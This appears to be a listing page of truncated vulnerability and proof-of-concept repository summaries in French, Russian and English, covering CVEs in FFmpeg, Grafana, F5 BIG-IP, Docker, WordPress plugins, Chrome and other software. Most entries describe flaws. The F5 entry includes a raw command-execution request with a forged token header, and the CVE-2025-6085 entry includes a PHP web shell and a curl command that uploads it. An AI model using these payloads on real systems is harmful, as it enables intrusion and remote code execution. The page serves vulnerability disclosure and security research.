CVE-2026-30754

A flaw was found in FFmpeg. This memory corruption vulnerability occurs during the Real-time Transport Protocol RTP encoding of H.264/HEVC streams. A remote attacker could exploit this by providing a specially crafted input file, leading to a negative size parameter being passed to a memory copy...

CVE-2023-25355-25356

Exploitation et crédits L'exploit a été découvert par [email protected] et est présenté dans deux documents remarquables : article de divulgation complète diapositives DEFCON31 Un dépôt pour automatiser encore plus cette vulnérabilité a été publié par Alex Linov :...

CVE-2023-30547

CVE-2023-30547 Description de la vulnérabilité vm2 est un bac à sable qui peut exécuter du code non fiable avec les modules intégrés de Node figurant sur liste blanche. Il existe une vulnérabilité dans l'assainissement des exceptions de vm2 pour les versions jusqu'à 3.9.16, permettant aux...

VertXploit

VertXploit Эксплуатация систем контроля доступа HID VertX и EDGE Краткое описание VertXploit — это инструмент, который можно использовать для эксплуатации систем контроля доступа HID VertX и EDGE. В службе discoveryd существует уязвимость, которая не выполняет очистку пользовательских данных пере...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...

CopyEscape-CVE-2026-17106

CopyEscape: захват хостов Docker с помощью docker cp CVE-2026-17106 Это PoC-репозиторий для статьи в блоге CopyEscape: захват хостов Docker с помощьюdocker cp — CVE-2026-17106. CopyEscape позволяет вредоносному запущенному контейнеру вступить в гонку с генератором архивов Docker и создать...

CVE-2025-10952-ml-logger-AFR

CVE-2025-10952 — произвольное чтение файлов через streamhandler в ml-logger Этот репозиторий предоставляет автономный Python-скрипт — CVE-2025-10952.py — который эксплуатирует неаутентифицированную уязвимость произвольного чтения файлов в streamhandler библиотеки ml-logger, в связке с конечной...

CVE-2024-34470

CVE-2024-34470 Description : Un utilisateur non authentifié peut abuser d'une vulnérabilité de traversée de chemin Path Traversal présente dans le fichier /public/loader.php. Le paramètre path ne filtre pas correctement si le fichier et le répertoire transmis font partie de la racine web,...

CVE-2021-43798-Grafana

CVE-2021-43798 Lecture de fichier arbitraire Grafana 1.Installation pip3 install -r requirements.txt 2.Utilisation $ python3 grafana.py -h / | \ \ / / | | | \ / \ | \ / | | || | | / | | / \ | | \ \ / / | | | | | | | | | | | || | | \ / / | | / \ | | \ V / | | || / / | || | / / | | || | | | / / , |...

SEP-14.2-Arbitrary-Write

CVE-2020-5837 exploit L'article détaillé se trouve sur le blog des RedyOps Labs : https://labs.redyops.com/index.php/2020/04/27/symantec-endpoint-protection-sep-14-2-eop-via-arbitrary-write/ Outils tiers Ce code d'exploitation est fortement basé sur symboliclink-testing-tools, développé par James...

CVE-2021-43798

CVE-2021-43798 CVE-2021-43798 est une vulnérabilité marquée comme priorité élevée CVSS 7.5 conduisant à une lecture arbitraire de fichiers via les plugins installés dans l'application Grafana. Cette vulnérabilité fonctionne sur les versions 8.0.0-beta1, 8.0.0 à 8.3.0. Testé uniquement sur la...

CVE-2022-31297

CVE-2022-31297 Haraj Script 3.7 - XSS réfléchi Exploit Title: Haraj Script 3.7 - XSS réfléchi Date: 2022-06-13 CVE: CVE-2022-31297 Exploit Author: Abdulaziz Saad @b4zb0z Vendor Homepage: https://angtech.org/ Software Link: https://angtech.org/product/view/3 Version: 3.7 Tested on: LAMP, Ubuntu...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Exploiter le shell une fo...

CVE-2023-21752

CVE-2023-21752 PoC pour la vulnérabilité de suppression arbitraire de fichiers dans le service Windows Backup. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752 Ce dépôt contient deux exploits : v1 - Effectue simplement la suppression de fichier au choix de l'utilisateur v2 -...

WordPress Alt Text AI – Automatically generate image alt text for SEO and accessibility plugin <= 1.10.41 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Content Modification vulnerability

Missing Authorization to Authenticated Subscriber+ Arbitrary Post Content Modification vulnerability discovered by Webbernaut in WordPress Plugin Download Alt Text AI versions = 1.10.41...

CVE-2014-0816

CVE-2014-0816 Ceci est un exploit pour CVE-2014-0816 JVNDB-2014-000026 : Norman Security Suite vulnérable à une escalade de privilèges. Cet exploit lance CMD.exe avec les privilèges SYSTEM à partir d'un compte non administrateur en exploitant la vulnérabilité dans un gestionnaire IOCTL de ngs.sys...

CVE-2026-51906

In TaskingAI v0.3.0 in the DALL-E 3 image generation tool saveurlimage function, a path traversal vulnerability allows attackers to write downloaded images to arbitrary locations on the server filesystem by manipulating the projectid parameter...

CVE-2026-104843

uv is a Python package and project manager written in Rust. From 0.12.7 until 0.12.18, uv wheel extraction on Windows can process a malicious wheel in a way that writes a file outside the installation prefix, including an executable in a directory already present on the user's PATH. Non-Windows...

CVE-2026-103626

Incorrect authorization in FileSystem in Google Chrome on on Windows prior to 154.0.8037.97 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-103628

Out of bounds write in WebGL in Google Chrome prior to 154.0.8037.97 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...